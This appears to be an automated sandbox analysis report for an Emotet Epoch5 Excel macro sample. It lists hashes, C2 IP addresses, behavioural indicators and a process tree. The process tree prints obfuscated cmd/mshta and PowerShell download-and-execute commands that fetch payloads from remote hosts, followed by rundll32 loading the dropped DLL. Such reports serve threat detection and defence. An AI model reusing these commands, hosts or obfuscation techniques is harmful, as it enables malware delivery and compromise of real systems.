emotet | 5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b

General

Target

5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b.xlsm
Size

114KB
MD5

4c3308f1a880faa8e9ce0ab02358d527
SHA1

9cca6556b86ab4986ff47d795b5e23cadaa21280
SHA256

5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b
SHA512

f0fac46d46ee87b5df8a9b28f32ddfb0d242a6709fa259c54734258be31684c5f48536ae07fa39bea004cced6fbb2da5ad4a7965e282a9de9b2821e25f27d095

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3492	2660	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

33 1220 mshta.exe
37 1468 powershell.exe
39 1468 powershell.exe
44 1948 rundll32.exe
45 1948 rundll32.exe
47 1948 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

388 rundll32.exe
1184 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ufrizgsd\dwpdlclr.uqe rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1532 1220 WerFault.exe mshta.exe

flow	pid	process
33	1220	mshta.exe
37	1468	powershell.exe
39	1468	powershell.exe
44	1948	rundll32.exe
45	1948	rundll32.exe
47	1948	rundll32.exe

pid	process
388	rundll32.exe
1184	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ufrizgsd\dwpdlclr.uqe	rundll32.exe

pid	pid_target	process	target process
1532	1220	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2660 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1468	powershell.exe
1468	powershell.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1532	WerFault.exe
1468	powershell.exe
1948	rundll32.exe
1948	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1468 powershell.exe
Token: SeDebugPrivilege 1532 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	1532	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2660 wrote to memory of 3492	2660	EXCEL.EXE	cmd.exe
PID 2660 wrote to memory of 3492	2660	EXCEL.EXE	cmd.exe
PID 3492 wrote to memory of 1220	3492	cmd.exe	mshta.exe
PID 3492 wrote to memory of 1220	3492	cmd.exe	mshta.exe
PID 1220 wrote to memory of 1468	1220	mshta.exe	powershell.exe
PID 1220 wrote to memory of 1468	1220	mshta.exe	powershell.exe
PID 1468 wrote to memory of 1424	1468	powershell.exe	cmd.exe
PID 1468 wrote to memory of 1424	1468	powershell.exe	cmd.exe
PID 1424 wrote to memory of 388	1424	cmd.exe	rundll32.exe
PID 1424 wrote to memory of 388	1424	cmd.exe	rundll32.exe
PID 1424 wrote to memory of 388	1424	cmd.exe	rundll32.exe
PID 388 wrote to memory of 1184	388	rundll32.exe	rundll32.exe
PID 388 wrote to memory of 1184	388	rundll32.exe	rundll32.exe
PID 388 wrote to memory of 1184	388	rundll32.exe	rundll32.exe
PID 1184 wrote to memory of 1636	1184	rundll32.exe	rundll32.exe
PID 1184 wrote to memory of 1636	1184	rundll32.exe	rundll32.exe
PID 1184 wrote to memory of 1636	1184	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1948	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1948	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1948	1636	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1468
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1424
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:388
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1184
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ufrizgsd\dwpdlclr.uqe",KLnFSstAVgqmFmQ
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1636
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ufrizgsd\dwpdlclr.uqe",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1948
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1220 -s 1668
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
a663f9d3d1015fdb2c825cde6b2d985e

SHA1
9abac7fdca4db8284df9a535e0acfc6b0b18ce43

SHA256
5d7eea3159dd11adfbddfe0877a5a088c9ea6c24ec5460daac47b915ec5260b0

SHA512
3595d256e3ea8629acaa24fde08dfd842b5d3c6ea541d15f86765967d093f6ad1db05930c894c03d0c31e3e0fd905c24652221afdf4183925b745e83be8d9a0f

Download Submit
\Users\Public\Documents\ssd.dll

MD5
a663f9d3d1015fdb2c825cde6b2d985e

SHA1
9abac7fdca4db8284df9a535e0acfc6b0b18ce43

SHA256
5d7eea3159dd11adfbddfe0877a5a088c9ea6c24ec5460daac47b915ec5260b0

SHA512
3595d256e3ea8629acaa24fde08dfd842b5d3c6ea541d15f86765967d093f6ad1db05930c894c03d0c31e3e0fd905c24652221afdf4183925b745e83be8d9a0f

Download Submit
\Users\Public\Documents\ssd.dll

MD5
a663f9d3d1015fdb2c825cde6b2d985e

SHA1
9abac7fdca4db8284df9a535e0acfc6b0b18ce43

SHA256
5d7eea3159dd11adfbddfe0877a5a088c9ea6c24ec5460daac47b915ec5260b0

SHA512
3595d256e3ea8629acaa24fde08dfd842b5d3c6ea541d15f86765967d093f6ad1db05930c894c03d0c31e3e0fd905c24652221afdf4183925b745e83be8d9a0f

Download Submit
memory/1184-345-0x0000000005520000-0x0000000005548000-memory.dmp

Filesize
160KB

Download
memory/1184-342-0x00000000053C0000-0x00000000053E8000-memory.dmp

Filesize
160KB

Download
memory/1184-340-0x0000000005360000-0x0000000005388000-memory.dmp

Filesize
160KB

Download
memory/1184-338-0x0000000005270000-0x0000000005298000-memory.dmp

Filesize
160KB

Download
memory/1184-335-0x0000000003580000-0x00000000035A8000-memory.dmp

Filesize
160KB

Download
memory/1184-333-0x0000000003260000-0x0000000003288000-memory.dmp

Filesize
160KB

Download
memory/1468-310-0x000001E933983000-0x000001E933985000-memory.dmp

Filesize
8KB

Download
memory/1468-314-0x000001E94E000000-0x000001E94E076000-memory.dmp

Filesize
472KB

Download
memory/1468-319-0x000001E933986000-0x000001E933988000-memory.dmp

Filesize
8KB

Download
memory/1468-308-0x000001E933980000-0x000001E933982000-memory.dmp

Filesize
8KB

Download
memory/1468-300-0x000001E94DAF0000-0x000001E94DB2C000-memory.dmp

Filesize
240KB

Download
memory/1468-281-0x000001E935800000-0x000001E935822000-memory.dmp

Filesize
136KB

Download
memory/1948-347-0x0000000000CE0000-0x0000000000D08000-memory.dmp

Filesize
160KB

Download
memory/2660-132-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

Filesize
64KB

Download
memory/2660-131-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

Filesize
64KB

Download
memory/2660-126-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-121-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-120-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-119-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download
memory/2660-118-0x00007FF893410000-0x00007FF893420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads